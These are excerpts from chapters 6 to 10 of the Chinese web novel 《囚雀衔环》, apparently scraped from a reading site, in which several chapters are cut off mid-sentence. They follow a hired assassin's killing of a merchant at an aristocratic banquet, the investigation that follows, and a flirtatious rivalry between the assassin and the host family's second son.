那些世家子弟个个都精明得很,贾明心里的这些小算盘根本就入不了他们的眼,因而价钱始终没能谈拢不提,生意甚至还遭到了打压,层层败退。 贾明自然坐不住了,动了更歪的心思,想要绕开这些人,再去寻个别的靠山。 说来也算时来运转,正巧这柏家要开场大宴,柏青舟也不知是揣着什么心思,倒还真给他发了个请帖,送了他一个接近柏清河的机会。 世人都道柏二少爷单纯,这话往难听了讲,那就是脑子不行,人傻,只不过是生得好,纯靠投胎投到个二世祖的命——这种人可不就是贾明能选来当靠山的最佳人选,钱多事少,最重要的是名气还大。 贾明光是想想就要乐开花了。 温言还在一目十行地扫读着整理出来的信息,年轻人已经在旁边慢悠悠地开了口。 “有人的心野了,咱们自然得去给他收收。” 温言垂眸不语。 在皇城内,能力不够的野心家,要被收的可就是命了。 温言平日里最重要的任务就是贴身保护年轻人的安全,尤其是需要出门谈事的时候,他十有八九都会被对方带在身侧,自然也就知道对方也跟贾明有过交谈,且过程十分不愉快。 贾明这人眼高于顶,眼界却小,大概也是因为世家接二连三的上门让他失了清醒,交谈间几乎是句句都在明吹暗讽。 老实讲,温言当时手都已经按在刀柄上了,只等一声令下便使其人头落地,年轻人却始终隐忍不发,将此人的项上人头好端端地保留到了两年之后的现在。 温言翻阅完所有内容,将纸张重新叠好放回信封内,问道:“如果他死了,贾家的商铺会怎么分?” 他明白对方现在突然下令要杀了贾明,自然不是意气用事,而是已经选好了时机,想要对这人名下的商铺下手。 年轻人笑了下:“他死了,贾家后继无人,他自己也没个一妻半妾,那些商铺就地段稍微值点钱,按现在的规矩,应当是先归档进户部,整理定价完毕后进行公开买卖。” 定好价的公开买卖,也就是先到先得。 “拼财力,我远不如那些早已盘根在皇城的世家,而如果柏家这次也混在里面掺一脚,我们的劣势只会暴露得更加明显。” 年轻人思忖着,手指有一下没一下地轻敲桌面:“所以我们下手必须要快,得趁着他们反应过来之前,将所有东西收入囊中。” “正好柏家想大办宴会,送了我们个可乘之机,动手的时间就定在那晚,你需要抢在他接触到柏清河之前下手,”年轻人语气严肃,“柏青舟前段时间可谓是风头无量,这次正好也顺便也挫挫柏家的锐气。” “只有让他们自顾不暇,柏家才会没心思来搅这趟浑水。” 同时,水搅得越浑,也越能在这些人反应过来之前将事情处理干净。 一箭双雕。 温言顺从地点了点头,身后抓着信封的手却握紧了几分。 “好。” - 柏家要给柏二少爷办成人礼的消息一经放出,收到请帖的贵客们的礼物便跟不要钱似的接二连三往府邸里飞,尤其是董家这种阔气的,甚至直接抬来了一整箱宝贝,全都被堆在前厅的院里。要不是下人们手脚麻利,登记入册、分门别类得迅速,倒真有那么点“金山银山”的意思了。 柏清河对这些送来的东西当真是一点兴趣也无,左右不过是人情往来,其中含着多少真情实意还真不好说,便随手指使望尘接替了自己的任务,帮着下人们做整理归纳去。 他自己倒是落得清闲,回屋里睡了个饱觉。 温言在休沐日的傍晚时分出了趟门,特意绕道端了两碗热腾腾的馄饨,才走到了一处僻静的学堂正门。 他之前翻墙来过好几回,老先生每次都忍不住反复将学堂正门怎么走的路线嘱咐给他;可今日是休沐,学堂不开门,正门自然也落了锁,温言好不容易找到正门开在何方,又不得不原路返回,寻了最常翻的那堵墙,脚步一踩,纵身跃了进去。 老先生清贫一生,平日里就拿学堂角落里的一个小隔间当房间住着——或者用对方的话来说,这里就是他的家。 老先生正垂头在房里备课,余光瞥到窗外黑影一闪而过,吓了一跳,正要出去查看,另一头敞口的窗子旁已然飘着香气,定睛一看,原是被人塞进来了两碗馄饨。 “先生晚上好,”温言从窗外探过头,半张脸被墙挡住,神情淡漠,却还是能听出语气里的恭敬,“学生有事想来请教。” 老先生此生就钟爱这口热气腾腾的馄饨,本还想呵斥温言又不老实走门,闻着这味儿却又什么脾气都烟消云散了,立马开门让人到屋里坐下,开口问询:“近来可好?” 两人其实已经许久没见,上回见面还是新年时分,温言翻墙送来了些外界评价甚好的吃食,顺便在这一小方天地坐了片刻——老先生不喜钱,就爱尝这街头巷尾的吃喝玩意儿,说只有这东西,沾了人间烟火气,香得得劲儿。 这一转眼,半年就过去了。 “无甚变化。” 温言从不在老先生面前提及自己的生活,对方客套一问,他就含糊一答。 在他看来,知道的太多,于双方而言并非好事。 “哪能呢,想当年你还只是个个头刚及我腰间的乞儿,得靠我省下的馒头续着一条命,现在可好咯……”老先生就着热汤吃了两口馄饨,满足的一抹嘴,“瞧瞧,都买得起这新鲜肉馅的馄饨了。” 温言听着,忍不住笑了。 老先生见他笑,便也跟着笑:“你这孩子,也算苦尽甘来得早,往后日子只会越来越好嘞。” 温言笑着摇了摇头,嘴上却道:“承先生吉言。” 老先生吃饱喝足一抹嘴,总算是想起正事来了:“说说吧,有什么事儿,是需要找我这个老头子请教的?” “我有位……好友,近日过生辰,我想随个礼,”温言说话间,有些踌躇地搓了搓手指,“可对方生在什么都不缺的有钱人家……” 他也想过要不要以身边年龄相近的人往常会送的东西作为参考——可惜他身边符合这条件的,各个都是做事不按路数出牌的怪胎,根本没有任何参考价值。 思来想去,没得挑,只好寻到了老先生这。 “皇城内的有钱人呐,这好办,”老先生略一琢磨,立马拍板道,“送贵重的人家不见得稀罕,倒不如挑时下流行的,反正这种富家子弟什么都不缺 6. 宴席 《囚雀衔环》全本免费阅读 刚迈入府邸,温言便警觉抬头,黑暗中同时传来一声慢悠悠地问询。 “阿言,你这回回来得可真迟,”年轻人坐在院落里的茶桌前,夜间一片漆黑,看不清他的神情,只能瞧见他一手撑着脸,嘴里正嚼着什么,语气漫不经心地说道,“这山楂还挺不错。” 山楂? 对方说的话前言不搭后语,温言却不由得身形一顿,心念电转,脑中一时冒过很多种可能,面上却还维持着神色:“柏家设宴,酒楼的巡逻护卫比往日多了一倍不止。” “别紧张,我并无责怪之意,”年轻人招了招手,示意温言到自己对面坐下,“虽然知道阿言你平日里就爱吃些零嘴,但一口气买这么多……” 他将目光锁定在温言身上,瞧了半晌,似乎是笑了:“还是得攒点钱,可别都挥霍了……万一未来想要离开,至少也得有钱才成。” 温言身体一僵,背后瞬间惊出了一股冷汗。 这些零嘴吃食跟年轻人开给他的工钱比,买得再多也不过是九牛一毛;他近日唯一称得上大笔支出的,便是今晚刚丢入柏府的那块玉佩…… 而这点暂且容不得温言继续细想,因着话里还有个更要命的陷阱——“想要离开”。 这几个字于对方而言只是轻飘飘的试探,温言自己却清楚,他这条命始终是被对方攥在手里的。 于是这场问答在不知不觉间被上升了一个高度,逼得他不得不绷紧心神,兴许一字之差,就会跌入深渊。 “皇城土地堪称寸土寸金,我是乞丐出身,又入了这三不五时就朝不保夕的行当,二十年过去,习惯了。”温言沉思片刻,才摇了摇头,补充道,“本就无处可去的人,攒出金山也无用。” 他平日里总维持着这么副面无表情的样子,即便是这种当口,也很难再从细枝末节处捕捉到他更多的情绪和破绽。 况且,他说的也的确是实话。 “阿言,说这种话是做什么,这里可不就是你落脚的地方。” 年轻人自然听得明白对方这是在表明忠心,可这话中提及过去和作践自己的成分也是真的,;令他不由得皱起了眉。 “只要你想,我身边永远都留有属于你的一席之地。”年轻人的试探点到为止,语气又重新变得玩味起来,“不过阿言,钱这东西,多少还是得攒点,你以后要是想买这些小东西可以直接过府里的账。” 温言垂眼看向桌面,不置可否地应了声:“嗯。” 夜已深,年轻人站起身,这才像是突然想起来似的,回头提醒道:“对了阿言,这个月的药已经做好了,等你忙完这差事可要记着去拿。” 年轻人的脚步声逐渐远离,直到这时温言才算是松了口气,也站起身,朝对方离开的方向微微拱手,转身走向相反处,回了卧室。 虽只是谈话间的只言片语,但等温言回到屋内,关上门后,还是不由得将目光率先投向了桌面。 只一眼,便心下了然。 那些零嘴纸袋之前只是被他随手搁置在了桌上,毫无章法可言,但这么些年过去,他几乎已经被培养得过目不忘。 他的房间,果然被动过了。 - 柏家盛宴在鸿鼎酒楼如期召开,各路名流皆不敢托大,几乎全部提早到场,等柏大帅把柏清河拽上台,草草提了两句词后,便算是开席了。 柏青舟的座位自然被安排在了柏清河旁边,他趁着众人被陆续上桌的菜品吸引注意时,拍了拍柏清河的肩膀,警告道:“今日是以你的名义做东,再无聊,你也得给我坐到散席。” “我明白,”柏清河的目光在宾客里巡了一圈,才重新收回,颇有些无精打采地低头扒了两口东西,“这点分寸我还是有的。” 柏青舟有些哭笑不得地看着自家弟弟那副只顾着吃饭的模样,叹道:“你最好真的有。” 晚宴的丰盛吃食只是其中走个过场的环节,餐桌全被安排在了酒楼的一楼,桌与桌之间相隔稍远,便是为了留出往来不必擦肩的过道,使得诸位客人可以在席间随意离席跨桌交谈——这也是宴席为何会被如此一呼百应的原因。 皇城内难得有如此合适的结识时机,任谁都不想错过。 席间觥筹交错,只剩柏清河还在心无旁骛地跟面前的虾壳作斗争,肩膀却被人从身后拍了两下,一只酒杯伸来面前。 他转头看去。 对方笑得眉眼弯弯,虽身材欣长,脸上却还有些未完全褪去的婴儿肥,看着不过刚刚成童,五官倒是长得板正,一眼瞧过去没什么可挑剔的地方,是个很和善的面相。 “我见柏二少爷坐在原地,便想着趁机前来攀谈两句,”对方说完,似乎才想起来自己忘了介绍身份,告罪道,“失礼,初次见面,晚辈唐知易,家中排行老三。” 柏清河在此之前虽没见过唐知易其人,却也从柏青舟那里听过这个名讳。 什么晚辈? 这可是当朝三皇子! 让皇子给他这位没个一官半职的皇城闲人行礼,真是不想要脑袋了! 柏清河连忙起身,用旁边放着的湿巾擦干净手,才端起酒杯跟对方碰了一下:“原是三皇子,久仰。” “柏二少爷抬举了。”唐知易连忙摆手,刚才那副满嘴牙酸礼仪的模样瞬间消失殆尽,“柏兄这话说的,我这人一没实绩二不惹事生非,整日闲暇时分只能呆在家里逗鸟玩,何来久仰一说?” …… 这话几乎毫无客套可言,放给有心之人听,甚至可以说是夹枪带棒,但眼前这位三皇子偏生一口一个柏兄……这称呼变换得太过于从善如流,整得像他俩真有多熟似的。 ……他之前是在哪个梦里跟这位三皇子拜过把子了,他自己怎么不知道。 柏清河着实有些摸不清这人说话的路数,不知道该如何接这个话茬。 对方却对此毫无所察,自顾自地说道:“诶柏兄,你家这宴席开得气派,我上一次参加这种……人这么多的宴席是什么时候来着……有点忘了,好像是兄长去年的寿辰……” 柏清河左右看看,庆幸的发现他俩身边无旁人,否则即使这人是皇子,他都得去不守礼数地捂上对方的嘴。 这人说话当真是不过脑子,竟然敢拿他的寿辰跟当朝太子的比…… 柏清河简直头皮发麻,拱手道:“万不敢当……” 他话还没说话,就被对方的喋喋不休给打断了。 “这宴席的场地选得好,菜选得也好,宴席就该少整些花里胡哨的,多上这种家常肉菜,吃着才最香,也不枉兄长带我 7. 交手 《囚雀衔环》全本免费阅读 “我听董若晴提起过,她说贾明这人是典型的贪心不足蛇吞象,”柏青舟示意望洋将轮椅推到个不引人注目的角落,才说道,“跟他谈生意,可以适当博利一下,但一定要提着心眼,基本不可能成为长期的合作对象。” 柏清河坐在旁边听着,话从耳朵进,手脚却半点都不安分,拿着刚从桌上顺下来的吃食,活像三天没吃过饭似的,就馋这一口。 丢不丢人。 柏青舟颇看着,有些无奈,提点道:“这人既然选择了绕开我,至少说明两点,其一,你是这城里个人尽皆知的有钱软柿子,他十分清楚,其二,他想必已经是四处碰壁,穷途末路;等下你就尽可能的把价格往低了报,杀价会么,若是真能捞着好处,成了这一笔,倒也能给你这狼藉的名声找补一下。” 柏清河点点头,又问了些细节,让自己心里大概有了个底,才吃饱喝足一抹嘴,准备上楼正式会会这号人物。 - 贾明在雅座里等得有些焦躁,眼看着时间已经过去了半个钟头,直怕那柏二少爷是把自己这档子事给忘了,却又不敢真出雅座去找——三楼雅座众多,万一错过了,这到手的救命稻草可就真要飞了。 于是焦急归焦急,他也无法,只能在里面坐着干等。 环顾这雅座,不算大,里面摆着张整洁无尘的茶桌,上面放置着茶壶和两盏茶杯,皆是轻透的琉璃材质,外观漂亮得不像话,但其中茶水也冷得飞快——十几分钟前跑堂的小二还重新给他换了壶茶。 而他背后只有一扇窗户,窗外冷风吹得他后背发凉。 贾明环视的目光一顿,突然愣神。 不对。 他依稀记得进雅座时,这扇窗户应当是关着的,而他打从进来起就老老实实地坐在椅子上,半点没挨过窗沿。 这窗户怎的莫名其妙自己开了? 贾明在心里这么一细琢磨,背后还真有点开始冒冷汗了。 只不过还没等他琢磨出个所以然来,“答案”就自动出现在了他面前——身后之人步子迈得不大,落脚也轻,不声不响的,直到刀背震慑性地蹭过了他的肩膀,他才惊觉这里还另有其人。 贾明被碰到的地方瞬间起了一层鸡皮疙瘩:“谁?!” 他猛地回头,未见其人,却瞧见了重新被关上的窗台和随着余风浮动的纱帘,心想,难不成自己这是撞鬼了……再转头回来,便看到一位身着黑色长袍的男人坐在了对面。 “你是谁?”贾明见着对方身下有影子,是个活人,便率先松了口气,可随后瞧见对方握在手里把玩的匕首,这口气又重新提了起来,质问道,“谁派你来的,我告诉你,柏二少爷可是马上就要来了,你要是现在敢在这里动手,肯定跑不掉!” 他话中先搬出救兵,想在气势上扳回一城,却不想对方根本不搭理他这话茬,只是面无表情地看着他。 “老板让我杀你之前捎句话,好让你在黄泉路上做个明白鬼。”对方全然一副公事公办的样子,语调冷漠,字字清晰,“他说,太过贪心的人是没有好下场的。” 传完话,就又闭了嘴,无论贾明怎么抓耳挠腮地问,都不再开口说一个字。 老板? 这范围可海了去了,皇城内那么多做生意的,稍微有点势力的出门在外都能被叫老板,再者,他没见过这阵仗,根本摸不准面前这人是那些个大势力府里养着的还是谁从外面雇来的,若是后者,这范围还得再扩大一圈。 对方话带到了,显然也不准备留给贾明更多的思考时间,直接信步绕到他身后。 贾明这下是真正吓破了胆,明白过来对方说要杀他是动真格的,根本就不忌惮他搬出的救兵。 于是他立马认怂,双手护在身前,声调抬高了几分道:“你,你老板是谁,是不是为了茶馆那块地,我们可以谈……他嫌我开价高了我可以调,都可以调,什么价格都行,只要他再给我一个机会……” “或者我们也可以聊,你,你老板给你开价多少,我出双倍,”贾明不信天下人做事真有不为钱松口的,见对方不说话,只能流着冷汗,继续硬着头皮加大利诱筹码, “要是嫌双倍不够,三倍也行,您行行好,留我这一条狗命……” 生死面前尊严就是狗屁,只要对方能松口,就是要他现在跪在地上当狗舔靴,那都是能二话不说直接答应的。 可惜,身后之人根本不吃这一套。 能干上杀人这种行当的,本就不是什么富有良知的好人。这些年杀得人多了,什么种类的生前话他都听过,贾明这些垂死挣扎的路数他也早就不知道碰见过多少回了,听得耳朵起茧,根本没耐心再等对方继续说下去…… 见对方始终没开口,贾明倒也在生死一瞬冷静了下来,明白自己求饶无望,却仍不死心,索性破罐破摔,抓起桌上的茶壶就要起身朝身后抡去,同时口中还大喊着:“救……” 但身后之人的动作显然比他更快更利落,薄刃在掌中转了一圈,手起刀落,直取项上人头,按着对方的脑袋快准狠地在脖颈上划出了一个足以让血液喷涌的裂口……顷刻间,雅座又重归寂静。 柏清河刚上到楼梯拐角,便听到尽头雅座内传来器皿落地的清脆碎裂声。 他之前问过跑堂的,此刻一对应,瞬间便听出这声音是从贾明那间里传出来的。 柏清河直觉不对,立马跑了两步,冲到尽头那间雅座前,还没来得及出声,身体反应抢先一步,一把推开门,看见了歪靠在椅背上的贾明。 贾明的眼睛睁着,死死盯着门外,人却已经瘫倒在了椅子上,像一摊扶不起的软泥,身上原本规矩的浅色长袍被鲜红血液染得模糊,脚下甚至已经聚起了一小摊血泊。 柏清河还想将情况看仔细些,屋内刺客却已率先一步抄起桌上仅剩的两盏茶杯,一个扔向最后一盏闪着幽幽火光的烛台,一个直冲对方面门而去。 先下手为强。 柏清河被抢走了主动权,只能狼狈地抬起手,挡下了对方扔来的器皿。 窗外陡然刮起的大风顺势关上了门,发出嘭的一声,雅座内顿时陷入了一片黑暗。 贾明显然已经断气,就冲那出血量,肯定是死得不能再死了。 靠。 谁找来的刺客,竟然这么有种,杀人都敢杀到柏家头上来了。 柏清河咬牙,他在烛火被灭前用余光瞥到了刺客的行动方向,此刻也由不得犹豫多想,只能先上前几步,朝着那片区域挥拳下手。 刺客本以为柏清河至少需要花个几秒才能平衡在黑暗里的感知,这时间差足够他回到窗边潇洒离开,却没想对方竟然出手如此迅速,只好抬起手臂,后退格挡。 一击不成,但好歹让柏清河成 8. 缘分 《囚雀衔环》全本免费阅读 柏青舟等人闻讯赶到时,只看到了站在窗边的柏清河和满屋狼藉。 几人看到贾明的尸体,皆是倒吸了口冷气。屋内摔碎的琉璃茶盏泄出茶水,混稀了血流,淌了一地。 董若晴推着柏青舟的轮椅,小心地避开了血迹,停在角落。 柏青舟在屋内端详一周,最后才将视线落回了柏清河脸上,淡淡问道:“没抓到?” 柏清河双手抱胸,摇了摇头。 于是柏青舟不再多问,暗自思虑了起来。 董若晴顺势站定在柏青舟身后,听这两人你一言我一语,瞬间便明白了柏清河专门派人喊他们来的意图,抖开折扇,挡了挡扑鼻而来的血腥味,道:“这可不是我找人动的手。” 贾明这段时间虽来往走谈了不少人,但能找到此等能力还敢挑在这个时机下杀手的东家老板,全皇城也不过寥寥几位,其中动机最大的,便是此刻被请进雅座的两位。 “我先前与他交谈,不过是瞧见商机,想多赚些钱而已,”董若晴率先出言将自己从这次事件里摘了个干净,“他那店铺地段好是好,可要价高,买入花得多等同赚得少,我本也不是非他那地方不可,只要能赚到钱,这天底下地段好的铺子在我看来都一样。” “因而谈了两次谈不拢,我也就没了兴致,”她瞟了眼唐知文,话间意有所指,“不过我听说,太子殿下的运粮车马可是一直想从他那茶馆的位置抄近道的,好像也没能谈拢吧。” 柏清河在旁听着,不由得微微一惊。 ……贾明这人还真是心比天高,竟然连太子殿下都没能谈拢。 唐知文看得分明,知道这是在点他呢,随即摇了摇头,也自证清白道:“想抄近道是真,可原先粮道仍旧能行,不过是多了一日脚程;况且此人开口要价如同抢钱,你并非不知……这不值当的生意,自然是不能同意。” 几人打了多年交道,他了解董若晴的性子,先前那话是为着唐知易前段时间在她店里打翻的一套雕花茶具朝他撒气呢,不过是想刺他两句逞个口舌上风,并无恶意,便笑道:“为着这点小事就要给我扣个杀人动机,董老板,这见面礼给的可够大了。” 柏青舟哪里知晓两人发生过这点摩擦,却也并不觉得是这两人动的手。 他们这些人心里门儿清得很,即使不做生意都得看在柏大帅的面子上给柏家三分薄面,若是冒险在宴席上做出这种事,查不出来还好说,一旦查出来了,则无疑是亲手将把柄往对方手中送,未来真要撕破脸了,即使是太子也别想轻易好过。 柏清河想必也是如此思虑,才会将这二位一同叫来,以佐证心中猜测。 “不过是随口一诌,我董若晴自然信得过太子殿下的为人,”董若晴也跟着笑了,微微欠身行礼,“先前这话听过便罢了,哪还能真往心里去呢。” 这是刺探完了,给送台阶呢。 唐知文笑着摇了摇头,算是应了。 柏清河见几人搭腔结束,才总算是靠着窗边开了口,简单介绍了情况。末了,又往里添了些细节:“我能感觉出他在交手时留有后手,却还能打得有来有回,因此此人功夫很可能在我之上,以及……此人从头到尾没开过口,猜不出门路和身份。” 柏青舟听得皱眉,其余两人也均是神色一凛。 “当真这般厉害?”董若晴这会儿真有些惊讶了,盘算起来,“雇一个这种水平的得花多少银两啊……” “起码十趟的粮马过路费。”唐知文寻了个位置坐下,“感觉不像是地下赌坊那帮东西能养出来的人。” 柏青舟倒是问了个关键的:“有看清对方的样子吗?” “没有。”柏清河眼睛都不眨一下地撒谎道,“交手片刻,他借机踹我一脚后,便跳窗跑了,黑灯瞎火,看不清轮廓。” 柏清河仍旧靠在窗边,只觉得腕上那股被敲得酸麻的劲儿又泛了上来,脑海里平白冒出了温言回头望向他的那一眼。 线索太少,无异于大海捞针。 “正好,宴席已入尾声,既然太子殿下在此,便不着急去寻巡检司,等宴席结束安顿好宾客后再去叫人,”柏青舟喊来了望洋和望尘,有条不紊地安排好了目前最要紧的事,“先派人去地下赌坊查探一圈,看看他们有没有新增接这种活的人手。” “是。” 望洋和望尘领命离去。 柏青舟揉了揉太阳穴,天下没有不透风的墙,更何况酒楼跑堂最是多嘴多舌,这事儿铁定瞒不了,他们柏家算是被迫接下了这烂摊子,背后嚼舌根的暂且不提,怕的是人心惶惶,想必这段时间才刚有成色的生意也只得暂避锋芒,退居人后。 这时机卡得有点太好了。 窗外持续灌进来的冷风已然将血腥味吹散得差不多了,董若晴摇了摇扇子道:“若真不是地下赌坊的,可就有意思了。” “抛开我们,到底还有谁惦记着贾明这么个已经快要走投无路的小角色,图什么呢?” 这事儿当真是越想越蹊跷,他们甚至没法确定对方的目的到底是什么。 贾明远算不上有钱有权,手里仅剩的那点东西也快要被他自己给玩崩了,只要再耐心等上一段时间,有心之人便能坐享其成,直接将其抄底拿下,根本没有必要在此时闹出人命。 可若说这事只是单纯冲着柏家来的,宴席人数众多,偏偏好巧不巧地随机杀到了贾明头上,也有些过于巧合。 “敌在暗我们在明,这事急不来,”柏青舟有些头疼,“先等等看吧。” - 事情果然不出柏青舟所料,第二天便在城内传得沸沸扬扬,就连他好不容易搏出来的名气,都在这一夜之间,差点翻盘于流言蜚语中。 “意料之内,没什么可惜的。”柏青舟并未被影响心绪,反而优哉游哉地坐在院子里喝起了茶,“名声坏了随时可以重来,都不过是身外之物……” 柏清河却没法像他哥那般沉稳,辗转反侧了一整晚,也没能找到这事的关窍所在,心中无比烦闷。 这皇城内,他所不知道的暗流涌动实在是太多了。 呆坐在屋内只会引来更严重的胡思乱想,柏清河还是决定出门散散心。 “哥,我出门走走。” “去吧,别惹事生非就行,”柏青舟首肯,跟哄小孩儿似的,“放心,你哥在呢,都能解决的。” 柏清河脚步一顿,没有回头。 - 年轻人站在墙角,收了对面几人分别递来的纸张,仔细翻看了一遍,白纸黑字,清清楚楚地盖着公章,以后贾明生前捏着的那几块“风水宝地”未来就归他所有了。 年轻人笑着将东西叠好,收入信封中,封好口,递给了面前一个垂首待命的男人。 等到做完这一切,才回过头来拍了拍温言的肩膀:“阿言,这事儿你做得实在漂亮,走,我们去逛逛,买些好食材回去,今晚做个大餐庆祝一下。” “咱们得吃点好的……只不过我今日下午还有事要处理,得挑快点……” 年轻人兴致很高,拽着温言絮絮叨叨地说着:“……对了,今年你生辰那日是不是仍在外劳顿,怪我,都忘了这茬儿,今日正好也给你一道补上……” “不用,”温言没有过生辰的习惯,自然也早就忘了这茬,“我吃不惯那些。” “是么,那应当是上次的厨子水平不够好,”年轻人看了眼温言,脸上扬着笑,“不如这次我们直接去大酒楼里端,挑招牌的点,肯定错不了。” 前脚还说要买菜回去让人弄,现在又变成了直接从酒楼端现成的。 这股想一出是一出的劲儿…… 温言嘴角禁不住勾起了一丝弧度,接声道:“好。” “那就这么说定了!你点菜,让锦哲去端就成。”年轻人听着动静转头,目光在温言的脸上停留了好一会儿,才牛头不对马嘴地又跳了一个话题,“……当初保下你这张脸果然是对的,阿言,能多笑笑就好了,笑起来肯定更好看……” 温言闻言,却敛了眉,神态又恢复到了往常那般面无表情,口不对心地应道:“……是,我尽量。” 两人在 9. 生辰 《囚雀衔环》全本免费阅读 小乞儿刚从老先生那儿分到了半个馒头,算是勉强塞饱了肚子,蹲在街旁,任凭阳光火辣辣地烧在他背上,一动不动地盯着看脚边的蚂蚁搬家。 “娘!我今日能多吃一个蜜饯吗,就一个,”路过的小女孩牵着妇人的裙角,走起路来一蹦一跳,仰头问道,“我想吃好久了,可是爹一直不让。” “当然可以,”妇人弯腰摸了摸小女孩的头发,“今日是你的生辰,自然一切以你为主,想吃什么都可以。” “真的吗?!”小女孩蹦得更高了,“那我还想要晚膳能吃上肉丸子!” “知道你喜欢,肉丸鱼丸都已经准备好了,等会儿回家后爹娘再揭晓送你的生辰礼物……” 妇人偏头哄着小女孩,没能留心脚下,直到撞上小乞儿弯着的身子,才瞥来了半分视线。 她扫了眼跌坐在地上的小乞儿,目光中哪还有刚才说话的温柔神情,抿着唇不动声色地拉回了蹭上对方的衣角,才一言不发地继续往前走。 ——蚂蚁死了。 可小乞儿眼下根本顾不上这些,他撑着手从地上爬起来,朝着反方向的街角狂奔而去,直跑到一个三十步开外已然臭气熏天的大土坑旁,才气喘吁吁地停下了脚步。 他推了推卧在土坑边缘晒太阳的老乞丐,稚声稚气地问道:“生辰是什么?” 老乞丐被打搅了“雅兴”,连眼神都懒得分给对方一个:“你没有生辰。” 小乞儿却不依不饶,非要问出个结果才善罢甘休。 老乞丐被缠烦了,恶声恶气地回道:“生辰就是一群人围在同一张桌上,吃些东西喝点小酒,庆祝你从你娘肚子里被拉出来的日子。” 哦。 小乞儿似懂非懂地点点头,又问:“那每个人都应当有生辰才对,为何你说我没有生辰?” 老乞丐这才总算是多看了小乞儿一眼,啧了一声:“你是老子从这土坑里捡回来的,爹妈都不要的小玩意儿,有个屁的生辰。” “那就将你捡到我的那日算作我的生辰好了,我也想要有个生辰,”小乞儿早就习惯了老乞丐粗俗的说话方式,他挑挑拣拣半天才找到一块相对干净的地方,坐在了老乞丐身边,“你是什么时候捡到我的?” …… 老乞丐沉默了半晌,嗤笑道:“过了这么多年,老子早就连自己的日子都过不清楚了,哪还能记得你的。” 哦。 小乞儿又点点头,也沉默了下来。 “那你为我编一个吧。”小乞儿的声音放低了,像是生怕对方拒绝,又哀求似的重复了一遍,“……你编一个吧,我也想有个生辰。” 老乞丐睨了小乞儿一眼,他从来受不了小屁孩儿这副要哭不哭的神情,多少次都没辙。 “编,给你编,老子真他娘的服了,你要这破玩意儿顶个屁用。” “我应当是在天气转暖的早春捡到你的……早春么,就算三月吧,”老乞丐伸手从旁拔下一根杂草,叼在嘴里嚼吧嚼吧,也不知是真在回忆,还是单纯地随口胡诌,“日子,那谁他娘的还记得……给你编个吉利数,就六号吧,六六大顺么……” 于是小乞儿期待万分的生辰日子就这么草率地定了下来,定在了三月六。 末了,老乞丐弹指送了小乞儿一个脑瓜崩,还是那没好气的样:“记好了,以后要是有人问,你就说三月六……他娘的,这天底下哪会有闲得蛋疼的神经病去好奇一个乞丐的生日……” - “用膳还走神,温公子,和我坐一处有这么无趣么,”柏清河抬手在温言眼前晃了晃,“问你话也没个回应,这态度可真是叫人寒心。” “抱歉,柏二少爷方才问什么了?” 温言收回思绪,掩饰尴尬似的端起桌上的茶杯喝了一口,这才想起来:“哦,聊到了生辰……三月六,柏二少爷竟是连这点小事都要亲口找我问么?” ……听上去是有点没用。 柏清河摸了摸鼻子,心道果然瞒不过,不如干脆认了:“自然是比不得温公子的人消息灵通,想必已经将我这人翻了个底掉吧。” “那倒没有,不过是礼尚往来,也只查了点无关紧要的。” 比如柏清河的行冠礼其实早就在七日前于柏府中举行完毕,筹备流程一切从简,昨日宴席不过是找了个宴请宾客的由头,将此事摆于了明面上——避免皇城里的某些人忘了,这位整日里只会吃喝行乐的柏二少爷,其实也是位要继承官职的主。 温言挑了挑眉,他也算是吃人嘴短,便揭过了这个话题:“柏二少爷倒是出手大方,这么贵的一顿饭,就用来换这种细枝末节的信息?” “温公子等答完了才说,看来是没准备给我改主意的机会啊。” 柏清河唇角一勾,俯身往对面凑近几分,轻哼出了一声笑:“可惜,看走眼了,我的日常职责不过是寻遍皇城内的乐子,当个自由散漫的二世祖……瞧我,碰着你后连青鸢阁都去得少了,日日就想着往你跟前凑,美人当前,这也是没办法的事么……” “温公子,我对你这人感兴趣,所以即使只是这么点关于你的小事,也比别的所有东西都值这个价。” 这话听着颇有些露骨…… 哪怕是温言已经对对方言辞间的混账程度有所防备,还是被这调调搅得闭了闭眼:“早有听闻柏二少爷玩得花,没想到竟是如此不忌口。” 这皇城内的富家子弟大多“见多识广”,自然生出少许喜好男色之徒,但也不过是将此番龙阳之好掩于私下交流两句,敢将这种入不得主流的喜好如此放面上言语撩拨的,柏二少爷在这方面也算是皇城第一人了。 “诶,那都是做不得真的传言,我这人其实挺忌口的,”柏清河盯向温言,面上带笑,混账话一套接一套地往外冒,“世人忌性别,俗,我只忌姿色,低于你的一概入不了眼……” 温言被这股视线盯出了些莫名的压迫感,身子微微后仰,重新拉开了两人间的距离,才呼出口气,嗤笑一声,没头没脑地接了一句。 “那你运气挺好。” “是么,我也这么觉得。”柏清河笑眯眯地收回身子,仿佛刚才种种真的只是在开玩笑,“不说了,再不吃这菜可都要凉了。” 席间柏清河又想出言试探,全被温言不痛不痒地挡了回去,半点便宜没捞着,才总算是偃旗息鼓,老老实实吃完了这顿饭。 “温美人,温公子,温言……你这人怎么嘴这么严,”两人出了饭店门,一前一后地在街上走着,柏清河忍不住感叹道,“这皇城里无论哪个小姑娘被我这么哄两次都要乐得找不着北了,怎么偏偏你这么无动于衷……” “……” 温言被喊得脚下一顿,两人瞬间成了并排前行。 他偏过头,直视着对方:“柏二少爷知道没用就好,以后要是再往我身上使用这些哄小姑娘的伎俩……” 几秒漫长的沉默过后,他才缓缓露出一个笑,接着道:“下次交手,小心我割了你的舌头。” 柏清河被说得背后发毛,舌尖竟真的泛麻了几秒。 “难怪都说美人如蛇蝎,可真够狠心的。”他哼了一声,语调上扬,眉眼却在对视间耸拉下来,“温言,你当真舍得呀?” 温言瞟了对方一眼,飞快地转头,将视线挪开了。 哦……看来还是不太舍得。 这么想着,柏清河的心情又自顾自地好了起来。 温言哪能知晓对方脑子里的百转千回,由着柏清河跟到了青鸢阁门前,才停下脚步。 柏清河往内瞟了两眼,不明所以地问:“你来这里做什么?” 温言抬脚往门内走去,言简意赅:“ 10. 动机 《囚雀衔环》全本免费阅读 柏清河前脚刚踏进府门,就迎面碰上了正要出门去寻他的望尘。 望尘倒也不废话,反手指了指柏青舟的书房:“大少爷正找您呢。” 柏清河颔首,走了过去。 “……这事想必没有那么简单……”董若晴的声音从书房内传来,在听到敲门声后戛然而止,直到看清柏清河探进来的半个脑袋,才继续问道,“……你最近真没有惹上什么仇家?” “没呢,”柏青舟挥手示意柏清河自己去找位置随便坐,“看不惯的人总是有的,不过我自认行事作风尚且温和,应当未与人冲突至此,可以排除。” 